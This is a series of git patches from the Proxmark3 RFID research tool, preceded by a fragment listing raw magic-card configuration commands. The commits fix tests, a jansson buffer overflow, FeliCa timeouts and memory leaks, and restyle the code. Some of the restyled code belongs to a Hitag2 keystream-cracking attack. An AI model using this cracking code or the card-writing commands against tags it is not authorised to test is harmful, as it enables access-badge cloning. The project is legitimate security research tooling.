14a raw -akb 7 40; hf 14a raw -k 43; hf 14a raw -ck A2F2000000BD; hf 14a raw -ck A2F3000000BD; hf 14a raw -ck A2F4000000BD; hf 14a raw -ck A2F644000400; hf 14a raw -c A2F888AF0000 +``` + +### Proxmark3 commands + +^[Top](#top) + +No implemented commands at time of writing + +### libnfc commands + +^[Top](#top) + +No implemented commands at time of writing + +### Variations +^[Top](#top) +| Factory configuration | Name | +| --- | --- | +| 850000A0 00000AC3 00040301 01000B03 | UL-11 | +| 850000A0 00000A3C 00040301 01000E03 | UL-21 | +| 850000A0 0A000A00 00000000 00000000 | UL-C | +| 850085A0 00000AA5 00040402 01000F03 | NTAG213 | +| 850000A0 00000A5A 00040402 01001103 | NTAG215 | +| 850000A0 00000AAA 00040402 01001303 | NTAG216 | + # DESFire ^[Top](#top) From c40f4be3e6b17964b5c21d64a666a95d778dec6b Mon Sep 17 00:00:00 2001 From: Henry Gabryjelski Date: Mon, 6 May 2024 07:59:41 -0700 Subject: [PATCH 023/157] re-enable broken hitag2 test --- tools/pm3_tests.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/pm3_tests.sh b/tools/pm3_tests.sh index 180763c7a..2af52987d 100755 --- a/tools/pm3_tests.sh +++ b/tools/pm3_tests.sh @@ -414,7 +414,7 @@ while true; do if ! CheckExecute "nfc decode test - signature" "$CLIENTBIN -c 'nfc decode -d 03FF010194113870696C65742E65653A656B616172743A3266195F26063132303832325904202020205F28033233335F2701316E1B5A13333038363439303039303030323636343030355304EBF2CE704103000000AC536967010200803A2448FCA7D354A654A81BD021150D1A152D1DF4D7A55D2B771F12F094EAB6E5E10F2617A2F8DAD4FD38AFF8EA39B71C19BD42618CDA86EE7E144636C8E0E7CFC4096E19C3680E09C78A0CDBC05DA2D698E551D5D709717655E56FE3676880B897D2C70DF5F06ECE07C71435255144F8EE41AF110E7B180DA0E6C22FB8FDEF61800025687474703A2F2F70696C65742E65652F6372742F33303836343930302D303030312E637274FE'" "30864900-0001.crt"; then break; fi echo -e "\n${C_BLUE}Testing LF:${C_NC}" - # if ! CheckExecute "lf hitag2 test" "$CLIENTBIN -c 'lf hitag selftest'" "Tests \( ok"; then break; fi + if ! CheckExecute "lf hitag2 test" "$CLIENTBIN -c 'lf hitag test'" "Tests \( ok"; then break; fi if ! CheckExecute "lf cotag demod test" "$CLIENTBIN -c 'data load -f traces/lf_cotag_220_8331.pm3; data norm; data cthreshold -u 50 -d -20; data envelope; data raw --ar -c 272; lf cotag demod'" \ "COTAG Found: FC 220, CN: 8331 Raw: FFB841170363FFFE00001E7F00000000"; then break; fi if ! CheckExecute "lf AWID test" "$CLIENTBIN -c 'data load -f traces/lf_AWID-15-259.pm3;lf search -1'" "AWID ID found"; then break; fi From 0de99805cdaab4859a540db51059944b57089289 Mon Sep 17 00:00:00 2001 From: Henry Gabryjelski Date: Mon, 6 May 2024 09:09:46 -0700 Subject: [PATCH 024/157] Fix broken test --- tools/pm3_tests.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/pm3_tests.sh b/tools/pm3_tests.sh index 782c561c9..c10200f88 100755 --- a/tools/pm3_tests.sh +++ b/tools/pm3_tests.sh @@ -414,7 +414,7 @@ while true; do if ! CheckExecute "nfc decode test - signature" "$CLIENTBIN -c 'nfc decode -d 03FF010194113870696C65742E65653A656B616172743A3266195F26063132303832325904202020205F28033233335F2701316E1B5A13333038363439303039303030323636343030355304EBF2CE704103000000AC536967010200803A2448FCA7D354A654A81BD021150D1A152D1DF4D7A55D2B771F12F094EAB6E5E10F2617A2F8DAD4FD38AFF8EA39B71C19BD42618CDA86EE7E144636C8E0E7CFC4096E19C3680E09C78A0CDBC05DA2D698E551D5D709717655E56FE3676880B897D2C70DF5F06ECE07C71435255144F8EE41AF110E7B180DA0E6C22FB8FDEF61800025687474703A2F2F70696C65742E65652F6372742F33303836343930302D303030312E637274FE'" "30864900-0001.crt"; then break; fi echo -e "\n${C_BLUE}Testing LF:${C_NC}" - if ! CheckExecute "lf hitag2 test" "$CLIENTBIN -c 'lf hitag selftest'" "Tests \( ok"; then break; fi + if ! CheckExecute "lf hitag test" "$CLIENTBIN -c 'lf hitag test'" "Tests \( ok"; then break; fi if ! CheckExecute "lf cotag demod test" "$CLIENTBIN -c 'data load -f traces/lf_cotag_220_8331.pm3; data norm; data cthreshold -u 50 -d -20; data envelope; data raw --ar -c 272; lf cotag demod'" \ "COTAG Found: FC 220, CN: 8331 Raw: FFB841170363FFFE00001E7F00000000"; then break; fi if ! CheckExecute "lf AWID test" "$CLIENTBIN -c 'data load -f traces/lf_AWID-15-259.pm3;lf search -1'" "AWID ID found"; then break; fi From c50f109f050b66508bbdd760de85e9b18ff750f3 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 12 May 2024 19:14:17 +0200 Subject: [PATCH 025/157] the failed compiling on MINGW/proxspace warns over a overflow in buffer[5], the return value in utf8_check_first() can be 0 - 4, which used later in loop as index with 1 as start offset. a 4 will overflow the buffer[5]. Increased buffer with to just in case to support the zero terminator. Another option where this code will bail out is, 0 is goto out, 1 will trigger the assert and break client. A bit ruff I say. --- CHANGELOG.md | 1 + client/deps/jansson/load.c | 8 ++++++-- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 62e67431f..a1b23944d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Fixed overflow in deps/jansson library (@iceman1001) - Added `lf hitag crack2` - WIP. Trying to add the second attack vector against Hitag2 (@iceman1001) - Changed `hf 14b reader --plot` - made the anticollision signal trace download optional (@iceman1001) - Added `lf_hitag_crypto.trace` - trace file of a complete read out of a Hitag2 in crypto mode (@iceman1001) diff --git a/client/deps/jansson/load.c b/client/deps/jansson/load.c index 52b9bed89..783cbb202 100644 --- a/client/deps/jansson/load.c +++ b/client/deps/jansson/load.c @@ -54,7 +54,7 @@ typedef int (*get_func)(void *data); typedef struct { get_func get; void *data; - char buffer[5]; + char buffer[7]; size_t buffer_pos; int state; int line; @@ -179,11 +179,15 @@ static int stream_get(stream_t *stream, json_error_t *error) { size_t i, count; count = utf8_check_first(c); - if (!count) + if (count == 0) { goto out; + } + + // whatif count == 1 ?!? assert(count >= 2); + // if count == 4 , i will become 5 and overflow. for (i = 1; i < count; i++) stream->buffer[i] = stream->get(stream->data); From 3502da17df595a538fe7bfcfce590752ed38b655 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 12 May 2024 19:36:28 +0200 Subject: [PATCH 026/157] assert its smaller than 5 --- client/deps/jansson/load.c | 1 + 1 file changed, 1 insertion(+) diff --git a/client/deps/jansson/load.c b/client/deps/jansson/load.c index 783cbb202..f2a517f16 100644 --- a/client/deps/jansson/load.c +++ b/client/deps/jansson/load.c @@ -186,6 +186,7 @@ static int stream_get(stream_t *stream, json_error_t *error) { // whatif count == 1 ?!? assert(count >= 2); + assert(count <= 4); // if count == 4 , i will become 5 and overflow. for (i = 1; i < count; i++) From bbbe9851113285b006882ae0fbcadc6b7a5e1c17 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 12 May 2024 20:17:50 +0200 Subject: [PATCH 027/157] when changing to 50 loops on device side, the felica reader code on client side timedout and it wasnt handled good enough so the return code was PM3_SUCCESS giving a false positive. Increase timeout, decrease loops to 25, and better loop handling of return value --- CHANGELOG.md | 1 + armsrc/felica.c | 7 +++---- client/src/cmdhffelica.c | 7 +++++-- 3 files changed, 9 insertions(+), 6 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index a1b23944d..8f239ac30 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Fixed `hf search` - where felica reader now doesnt timeout and give wrong response (@iceman1001) - Fixed overflow in deps/jansson library (@iceman1001) - Added `lf hitag crack2` - WIP. Trying to add the second attack vector against Hitag2 (@iceman1001) - Changed `hf 14b reader --plot` - made the anticollision signal trace download optional (@iceman1001) diff --git a/armsrc/felica.c b/armsrc/felica.c index e94a08f5a..2d6437562 100644 --- a/armsrc/felica.c +++ b/armsrc/felica.c @@ -239,7 +239,7 @@ static uint8_t felica_select_card(felica_card_select_t *card) { // We try 10 times, or if answer was received. - int len = 50; + int len = 25; do { // end-of-reception response packet data, wait approx. 501μs // end-of-transmission command packet data, wait approx. 197μs @@ -547,13 +547,11 @@ void felica_sendraw(const PacketCommandNG *c) { const uint8_t *cmd = c->data.asBytes; uint32_t arg0; - felica_card_select_t card; - if ((param & FELICA_CONNECT) == FELICA_CONNECT) { clear_trace(); } - set_tracing(true); + iso18092_setup(FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD); if ((param & FELICA_CONNECT) == FELICA_CONNECT) { @@ -562,6 +560,7 @@ void felica_sendraw(const PacketCommandNG *c) { // if failed selecting, turn off antenna and quite. if ((param & FELICA_NO_SELECT) != FELICA_NO_SELECT) { + felica_card_select_t card; arg0 = felica_select_card(&card); reply_mix(CMD_ACK, arg0, sizeof(card.uid), 0, &card, sizeof(felica_card_select_t)); if (arg0) { diff --git a/client/src/cmdhffelica.c b/client/src/cmdhffelica.c index 7c6e0f520..20a02619f 100644 --- a/client/src/cmdhffelica.c +++ b/client/src/cmdhffelica.c @@ -312,13 +312,13 @@ static int CmdHFFelicaList(const char *Cmd) { int read_felica_uid(bool loop, bool verbose) { - int res = PM3_SUCCESS; + int res = PM3_ETIMEOUT; do { clearCommandBuffer(); SendCommandMIX(CMD_HF_FELICA_COMMAND, FELICA_CONNECT, 0, 0, NULL, 0); PacketResponseNG resp; - if (WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + if (WaitForResponseTimeout(CMD_ACK, &resp, 2500)) { uint8_t status = resp.oldarg[0] & 0xFF; @@ -342,7 +342,10 @@ int read_felica_uid(bool loop, bool verbose) { } PrintAndLogEx(SUCCESS, "IDm: " _GREEN_("%s"), sprint_hex_inrow(card.IDm, sizeof(card.IDm))); set_last_known_card(card); + + res = PM3_SUCCESS; } + } while (loop && kbd_enter_pressed() == false); DropField(); From 11a298dc42bf803b240b3500818b8166da2231e1 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 13 May 2024 11:12:27 +0200 Subject: [PATCH 028/157] changed hf search to look for topaz first and commented out ICT code path --- CHANGELOG.md | 1 + client/src/cmdhf.c | 24 +++++++++++++----------- 2 files changed, 14 insertions(+), 11 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 8f239ac30..d6f5ac62f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Changed `hf search` - topaz is detect before ISO14443a and commented out WIP ICT code path (@iceman1001) - Fixed `hf search` - where felica reader now doesnt timeout and give wrong response (@iceman1001) - Fixed overflow in deps/jansson library (@iceman1001) - Added `lf hitag crack2` - WIP. Trying to add the second attack vector against Hitag2 (@iceman1001) diff --git a/client/src/cmdhf.c b/client/src/cmdhf.c index d3134eaf3..9414f1be7 100644 --- a/client/src/cmdhf.c +++ b/client/src/cmdhf.c @@ -95,6 +95,16 @@ int CmdHFSearch(const char *Cmd) { } } + PROMPT_CLEARLINE; + PrintAndLogEx(INPLACE, " Searching for Topaz tag..."); + if (IfPm3Iso14443a()) { + if (readTopazUid(false, false) == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Topaz tag") " found\n"); + success[TOPAZ] = true; + res = PM3_SUCCESS; + } + } + PROMPT_CLEARLINE; PrintAndLogEx(INPLACE, " Searching for LTO-CM tag..."); if (IfPm3Iso14443a()) { @@ -119,7 +129,8 @@ int CmdHFSearch(const char *Cmd) { } } - // ICT + /* + // ICT if (IfPm3Iso14443a()) { int sel_state = infoHF14A(false, false, false); if (sel_state > 0) { @@ -131,6 +142,7 @@ int CmdHFSearch(const char *Cmd) { infoHF14A4Applications(verbose); } } + */ PROMPT_CLEARLINE; PrintAndLogEx(INPLACE, " Searching for LEGIC tag..."); @@ -142,16 +154,6 @@ int CmdHFSearch(const char *Cmd) { } } - PROMPT_CLEARLINE; - PrintAndLogEx(INPLACE, " Searching for Topaz tag..."); - if (IfPm3Iso14443a()) { - if (readTopazUid(false, false) == PM3_SUCCESS) { - PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Topaz tag") " found\n"); - success[TOPAZ] = true; - res = PM3_SUCCESS; - } - } - // texkom PROMPT_CLEARLINE; PrintAndLogEx(INPLACE, " Searching for TEXKOM tag..."); From 77db65a590c1701234c032ab6f8cf21cf40eb77d Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 13 May 2024 14:29:27 +0200 Subject: [PATCH 029/157] there were several memory leaks in `hf 15 dump`. Fixed by @jlitewski --- CHANGELOG.md | 1 + client/src/cmdhf15.c | 35 ++++++++++++++++++++++++++++++++++- 2 files changed, 35 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index d6f5ac62f..33fdef1f9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Fixed `hf 15 dump` memory leaks (@jlitewski) - Changed `hf search` - topaz is detect before ISO14443a and commented out WIP ICT code path (@iceman1001) - Fixed `hf search` - where felica reader now doesnt timeout and give wrong response (@iceman1001) - Fixed overflow in deps/jansson library (@iceman1001) diff --git a/client/src/cmdhf15.c b/client/src/cmdhf15.c index 7d02e36c7..ca09d1078 100644 --- a/client/src/cmdhf15.c +++ b/client/src/cmdhf15.c @@ -473,6 +473,26 @@ static const char *TagErrorStr(uint8_t error) { } } + +static int iso15_error_handling_card_response(uint8_t *d, uint16_t n) { + if (check_crc(CRC_15693, d, n) == false) { + PrintAndLogEx(FAILED, "crc ( " _RED_("fail") " )"); + return PM3_ECRC; + } + + if ( (d[0] & ISO15_RES_ERROR) == ISO15_RES_ERROR ) { + if (d[1] == 0x0F || d[1] == 0x10) { + return PM3_EOUTOFBOUND; + } + + PrintAndLogEx(ERR, "iso15693 card returned error %i: %s", d[0], TagErrorStr(d[0])); + return PM3_EWRONGANSWER; + } + + return PM3_SUCCESS; +} + + // fast method to just read the UID of a tag (collision detection not supported) // *buf should be large enough to fit the 64bit uid // returns 1 if succeeded @@ -1830,6 +1850,7 @@ static int CmdHF15Dump(const char *Cmd) { iso15_tag_t *tag = (iso15_tag_t *)calloc(1, sizeof(iso15_tag_t)); if (tag == NULL) { PrintAndLogEx(FAILED, "failed to allocate memory"); + free(packet); return PM3_EMALLOC; }; @@ -1844,6 +1865,7 @@ static int CmdHF15Dump(const char *Cmd) { PrintAndLogEx(INFO, "Using scan mode"); if (getUID(verbose, false, uid) != PM3_SUCCESS) { free(packet); + free(tag); PrintAndLogEx(WARNING, "no tag found"); return PM3_EINVARG; } @@ -1873,18 +1895,27 @@ static int CmdHF15Dump(const char *Cmd) { PacketResponseNG resp; if (WaitForResponseTimeout(CMD_HF_ISO15693_COMMAND, &resp, 2000) == false) { PrintAndLogEx(DEBUG, "iso15693 timeout"); + free(packet); + free(tag); return PM3_ETIMEOUT; } if (resp.length < 2) { PrintAndLogEx(WARNING, "iso15693 card doesn't answer to systeminfo command (%d)", resp.length); + free(packet); + free(tag); return PM3_EWRONGANSWER; } uint8_t *d = resp.data.asBytes; uint8_t dCpt = 10; - ISO15_ERROR_HANDLING_CARD_RESPONSE(d, resp.length); + int res = iso15_error_handling_card_response(d, resp.length); + if ( res != PM3_SUCCESS ) { + free(tag); + free(packet); + return res; + } memcpy(tag->uid, &d[2], 8); @@ -1991,6 +2022,7 @@ static int CmdHF15Dump(const char *Cmd) { if (no_save) { PrintAndLogEx(INFO, "Called with no save option"); PrintAndLogEx(NORMAL, ""); + free(tag); return PM3_SUCCESS; } @@ -2004,6 +2036,7 @@ static int CmdHF15Dump(const char *Cmd) { pm3_save_dump(filename, (uint8_t *)tag, sizeof(iso15_tag_t), jsf15_v4); + free(tag); return PM3_SUCCESS; } From 483b192d402419fe1ab4afcf025330d026ac03e4 Mon Sep 17 00:00:00 2001 From: Henry Gabryjelski Date: Sun, 5 May 2024 19:26:35 -0700 Subject: [PATCH 030/157] rename parameter for em4x70_receive Avoid generic "length" parameters, as they are often ambiguous. Prefer `byte_count`, `element_count`, `bit_count` or more explicit names to reduce misunderstandings and thus reduce bugs. --- armsrc/em4x70.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/armsrc/em4x70.c b/armsrc/em4x70.c index d372efe77..663b8a586 100644 --- a/armsrc/em4x70.c +++ b/armsrc/em4x70.c @@ -566,7 +566,7 @@ static uint8_t bits2byte(const uint8_t *bits, int length) { return byte; } -static bool send_command_and_read(uint8_t command, uint8_t *bytes, size_t length) { +static bool send_command_and_read(uint8_t command, uint8_t *bytes, size_t expected_byte_count) { int retries = EM4X70_COMMAND_RETRIES; while (retries) { @@ -574,7 +574,7 @@ static bool send_command_and_read(uint8_t command, uint8_t *bytes, size_t length if (find_listen_window(true)) { uint8_t bits[EM4X70_MAX_RECEIVE_LENGTH] = {0}; - size_t out_length_bits = length * 8; + size_t out_length_bits = expected_byte_count * 8; em4x70_send_nibble(command, command_parity); int len = em4x70_receive(bits, out_length_bits); if (len < out_length_bits) { @@ -629,7 +629,7 @@ static bool find_em4x70_tag(void) { return find_listen_window(false); } -static int em4x70_receive(uint8_t *bits, size_t length) { +static int em4x70_receive(uint8_t *bits, size_t maximum_bits_to_read) { uint32_t pl; int bit_pos = 0; @@ -667,7 +667,7 @@ static int em4x70_receive(uint8_t *bits, size_t length) { // identify remaining bits based on pulse lengths // between listen windows only pulse lengths of 1, 1.5 and 2 are possible - while (bit_pos < length) { + while (bit_pos < maximum_bits_to_read) { pl = get_pulse_length(edge); @@ -681,13 +681,13 @@ static int em4x70_receive(uint8_t *bits, size_t length) { // pulse length 1.5 -> 2 bits + flip edge detection if (edge == FALLING_EDGE) { bits[bit_pos++] = 0; - if (bit_pos < length) { + if (bit_pos < maximum_bits_to_read) { bits[bit_pos++] = 0; } edge = RISING_EDGE; } else { bits[bit_pos++] = 1; - if (bit_pos < length) { + if (bit_pos < maximum_bits_to_read) { bits[bit_pos++] = 1; } edge = FALLING_EDGE; @@ -698,12 +698,12 @@ static int em4x70_receive(uint8_t *bits, size_t length) { // pulse length of 2 -> two bits if (edge == FALLING_EDGE) { bits[bit_pos++] = 0; - if (bit_pos < length) { + if (bit_pos < maximum_bits_to_read) { bits[bit_pos++] = 1; } } else { bits[bit_pos++] = 1; - if (bit_pos < length) { + if (bit_pos < maximum_bits_to_read) { bits[bit_pos++] = 0; } } From dd94207ee8c21eb1ab15a186879b7d92d2e1995f Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 May 2024 10:02:10 +0200 Subject: [PATCH 031/157] fix bad compare --- client/src/cmdlfem4x70.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/src/cmdlfem4x70.c b/client/src/cmdlfem4x70.c index f1ef08023..19c0d0450 100644 --- a/client/src/cmdlfem4x70.c +++ b/client/src/cmdlfem4x70.c @@ -167,7 +167,7 @@ typedef struct _em4x70_cmd_input_verify_auth_t { static int CmdHelp(const char *Cmd); static void fill_buffer_prng_bytes(void *buffer, size_t byte_count) { - if (byte_count <= 0) { + if (byte_count == 0) { return; } From 42f0699c7876599e6b6c77c84894c4226a869175 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 May 2024 10:04:28 +0200 Subject: [PATCH 032/157] style --- armsrc/felica.c | 4 +- armsrc/hitag2.c | 2 +- armsrc/hitag2_crack.c | 58 +++++++-------- client/src/cmddata.c | 48 ++++++------- client/src/cmdhf14a.c | 6 +- client/src/cmdhf14b.c | 96 ++++++++++++------------- client/src/cmdhf15.c | 22 +++--- client/src/cmdhfmfdes.c | 8 +-- client/src/cmdhfst.c | 2 +- client/src/cmdhfst25ta.c | 8 +-- client/src/cmdlf.c | 2 +- client/src/cmdlfem4x70.c | 2 +- client/src/graph.c | 20 +++--- client/src/pm3line_vocabulary.h | 8 ++- client/src/proxguiqt.cpp | 8 +-- doc/commands.json | 121 ++++++++++++++++++++++++++------ doc/commands.md | 8 ++- 17 files changed, 256 insertions(+), 167 deletions(-) diff --git a/armsrc/felica.c b/armsrc/felica.c index 2d6437562..4b913707e 100644 --- a/armsrc/felica.c +++ b/armsrc/felica.c @@ -290,7 +290,7 @@ static uint8_t felica_select_card(felica_card_select_t *card) { Dbhexdump(FelicaFrame.len, FelicaFrame.framebytes, 0); } } - // 0. OK + // 0. OK return 0; } @@ -589,7 +589,7 @@ void felica_sendraw(const PacketCommandNG *c) { AddCrc(buf + 2, len); } } - + if (g_dbglevel >= DBG_DEBUG) { Dbprintf("Transmit Frame (no CRC shown):"); Dbhexdump(len, buf, 0); diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index 20740bc36..8a65f5ad7 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -2718,7 +2718,7 @@ int ht2_tx_rx(uint8_t *tx, size_t txlen, uint8_t *rx, size_t *rxlen, bool ledcon res = PM3_SUCCESS; -out: +out: if (keep_field_up == false) { lf_finalize(false); } diff --git a/armsrc/hitag2_crack.c b/armsrc/hitag2_crack.c index ac5543820..6edac25b4 100644 --- a/armsrc/hitag2_crack.c +++ b/armsrc/hitag2_crack.c @@ -168,7 +168,7 @@ static bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e // send extended encrypted cmd uint8_t resp[4] = {0}; if (hitag2crack_send_e_cmd(resp, nrar, e_ext_cmd, 40)) { - + // test if it was valid if (memcmp(resp, ERROR_RESPONSE, 4)) { return true; @@ -324,10 +324,10 @@ static bool ht2crack_consume_keystream(lf_hitag_crack2_t *c2, int kslen, int *ks DbpString("ht2crack_consume_keystream: conlen < 10"); return false; } - + // calculate how many repeated commands to send in this extended command. int numcmds = conlen / 10; - + // xor extended cmd with keybits hitag2crack_xor(c2->e_ext_cmd, c2->ext_cmd, c2->keybits + *ksoffset, (numcmds * 10)); @@ -338,7 +338,7 @@ static bool ht2crack_consume_keystream(lf_hitag_crack2_t *c2, int kslen, int *ks Dbprintf("ht2crack_consume_keystream: tx/rx cmd failed, got %zu", n); return false; } - + // test response if (memcmp(resp, ERROR_RESPONSE, 4) == 0) { DbpString("ht2crack_consume_keystream: got error response from card"); @@ -346,7 +346,7 @@ static bool ht2crack_consume_keystream(lf_hitag_crack2_t *c2, int kslen, int *ks } // dont bother decrypting the response - we already know the keybits - + // update ksoffset with command length and response *ksoffset += (numcmds * 10) + 32; @@ -363,14 +363,14 @@ static bool ht2crack_consume_keystream(lf_hitag_crack2_t *c2, int kslen, int *ks //static bool ht2crack_extend_keystream(uint8_t *keybits, int *kslen, int ksoffset, uint8_t *nrar, uint8_t *uid) { /* static bool ht2crack_extend_keystream(lf_hitag_crack2_t *c2, int *kslen, int ksoffset) { - + // calc number of command iterations to send int cmdlen = *kslen - ksoffset; if (cmdlen < 10) { DbpString("extend_keystream: cmdlen < 10"); return false; } - + int numcmds = cmdlen / 10; // xor extended cmd with keybits @@ -388,7 +388,7 @@ static bool ht2crack_extend_keystream(lf_hitag_crack2_t *c2, int *kslen, int kso // test response if (memcmp(resp, ERROR_RESPONSE, 4) == 0) { return false; - } + } // convert response to binarray uint8_t e_response[32]; @@ -399,7 +399,7 @@ static bool ht2crack_extend_keystream(lf_hitag_crack2_t *c2, int *kslen, int kso // update kslen *kslen = ksoffset + (numcmds * 10) + 32; - + return true; } */ @@ -469,8 +469,8 @@ out: void ht2_crack2(uint8_t *nrar_hex) { - lf_hitag_crack2_t *c2 = (lf_hitag_crack2_t*)BigBuf_calloc(sizeof(lf_hitag_crack2_t)); - lf_hitag_crack_response_t *packet = (lf_hitag_crack_response_t*)BigBuf_calloc(sizeof(lf_hitag_crack_response_t)); + lf_hitag_crack2_t *c2 = (lf_hitag_crack2_t *)BigBuf_calloc(sizeof(lf_hitag_crack2_t)); + lf_hitag_crack_response_t *packet = (lf_hitag_crack_response_t *)BigBuf_calloc(sizeof(lf_hitag_crack_response_t)); g_logging = false; LEDsoff(); @@ -537,7 +537,7 @@ void ht2_crack2(uint8_t *nrar_hex) { } // while we have at least 52 bits of keystream, consume it with - // extended read page 0 commands. + // extended read page 0 commands. // 52 = 10 (min command len) + 32 (response) + 10 (min command len we'll send) /* while ((kslen - ksoffset) >= 52) { @@ -549,7 +549,7 @@ void ht2_crack2(uint8_t *nrar_hex) { goto out; } } - // send an extended command to retrieve more keystream, + // send an extended command to retrieve more keystream, // updating kslen as we go if (ht2crack_extend_keystream(c2, &kslen, ksoffset) == false) { DbpString("ht2crack_extend_keystream failed"); @@ -576,7 +576,7 @@ void ht2_crack2(uint8_t *nrar_hex) { // convert response to binarray uint8_t e_response[32]; - hex2binarray((char*)e_response, (char*)resp); + hex2binarray((char *)e_response, (char *)resp); // recover keystream from encrypted response hitag2crack_xor(c2->keybits + kslen + 40, e_response, c2->uid, 32); @@ -587,13 +587,13 @@ void ht2_crack2(uint8_t *nrar_hex) { Dbprintf("Recovered " _YELLOW_("%i") " bits of keystream", kslen); } -/* - uint8_t *keybitshex = BigBuf_calloc(64); - for (int i = 0; i < 2048; i += 256) { - binarray2hex(c2->keybits + i, 256, keybitshex); - Dbhexdump(256, keybitshex, false); - } -*/ + /* + uint8_t *keybitshex = BigBuf_calloc(64); + for (int i = 0; i < 2048; i += 256) { + binarray2hex(c2->keybits + i, 256, keybitshex); + Dbhexdump(256, keybitshex, false); + } + */ BigBuf_free(); // copy UID since we already have it... @@ -602,14 +602,14 @@ void ht2_crack2(uint8_t *nrar_hex) { out: -/* - DbpString("keybits:"); - Dbhexdump(2080, c2->keybits, false); - DbpString("uid:"); - Dbhexdump(32, c2->uid, false); - DbpString("nrar:"); - Dbhexdump(64, c2->nrar, false); -*/ + /* + DbpString("keybits:"); + Dbhexdump(2080, c2->keybits, false); + DbpString("uid:"); + Dbhexdump(32, c2->uid, false); + DbpString("nrar:"); + Dbhexdump(64, c2->nrar, false); + */ reply_ng(CMD_LF_HITAG2_CRACK_2, res, (uint8_t *)packet, sizeof(lf_hitag_crack_response_t)); } diff --git a/client/src/cmddata.c b/client/src/cmddata.c index fb0c68c12..cb0870af4 100644 --- a/client/src/cmddata.c +++ b/client/src/cmddata.c @@ -3670,8 +3670,8 @@ static int CmdXor(const char *Cmd) { static int CmdTestSaveState8(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "data test_ss8", - "Tests the implementation of Buffer Save States (8-bit buffer)", - "data test_ss8"); + "Tests the implementation of Buffer Save States (8-bit buffer)", + "data test_ss8"); void *argtable[] = { arg_param_begin, arg_param_end @@ -3682,10 +3682,10 @@ static int CmdTestSaveState8(const char *Cmd) { srand(time(NULL)); size_t length = 64; - uint8_t *srcBuffer = (uint8_t*)calloc(length, sizeof(uint8_t)); + uint8_t *srcBuffer = (uint8_t *)calloc(length, sizeof(uint8_t)); //Set up the source buffer with random data - for(int i = 0; i < length; i++) { + for (int i = 0; i < length; i++) { srcBuffer[i] = (rand() % 256); } @@ -3696,10 +3696,10 @@ static int CmdTestSaveState8(const char *Cmd) { test8.offset = rand(); PrintAndLogEx(DEBUG, "Save State clock=%u, offset=%u", test8.clock, test8.offset); - uint8_t *destBuffer = (uint8_t*)calloc(length, sizeof(uint8_t)); + uint8_t *destBuffer = (uint8_t *)calloc(length, sizeof(uint8_t)); size_t returnedLength = restore_buffer8(test8, destBuffer); - if(returnedLength != length) { + if (returnedLength != length) { PrintAndLogEx(FAILED, "Return Length != Buffer Length! Expected '%llu', got '%llu", g_DemodBufferLen, returnedLength); free(srcBuffer); free(destBuffer); @@ -3707,8 +3707,8 @@ static int CmdTestSaveState8(const char *Cmd) { } PrintAndLogEx(DEBUG, _GREEN_("Lengths match!") "\n"); - for(size_t i = 0; i < length; i++) { - if(srcBuffer[i] != destBuffer[i]) { + for (size_t i = 0; i < length; i++) { + if (srcBuffer[i] != destBuffer[i]) { PrintAndLogEx(FAILED, "Buffers don't match at index %lu!, Expected %i, got %i", i, srcBuffer[i], destBuffer[i]); free(srcBuffer); free(destBuffer); @@ -3726,8 +3726,8 @@ static int CmdTestSaveState8(const char *Cmd) { static int CmdTestSaveState32(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "data test_ss32", - "Tests the implementation of Buffer Save States (32-bit buffer)", - "data test_ss32"); + "Tests the implementation of Buffer Save States (32-bit buffer)", + "data test_ss32"); void *argtable[] = { arg_param_begin, arg_param_end @@ -3738,10 +3738,10 @@ static int CmdTestSaveState32(const char *Cmd) { srand(time(NULL)); size_t length = 64; - uint32_t *srcBuffer = (uint32_t*)calloc(length, sizeof(uint32_t)); + uint32_t *srcBuffer = (uint32_t *)calloc(length, sizeof(uint32_t)); //Set up the source buffer with random data - for(size_t i = 0; i < length; i++) { + for (size_t i = 0; i < length; i++) { srcBuffer[i] = (rand()); } @@ -3752,10 +3752,10 @@ static int CmdTestSaveState32(const char *Cmd) { 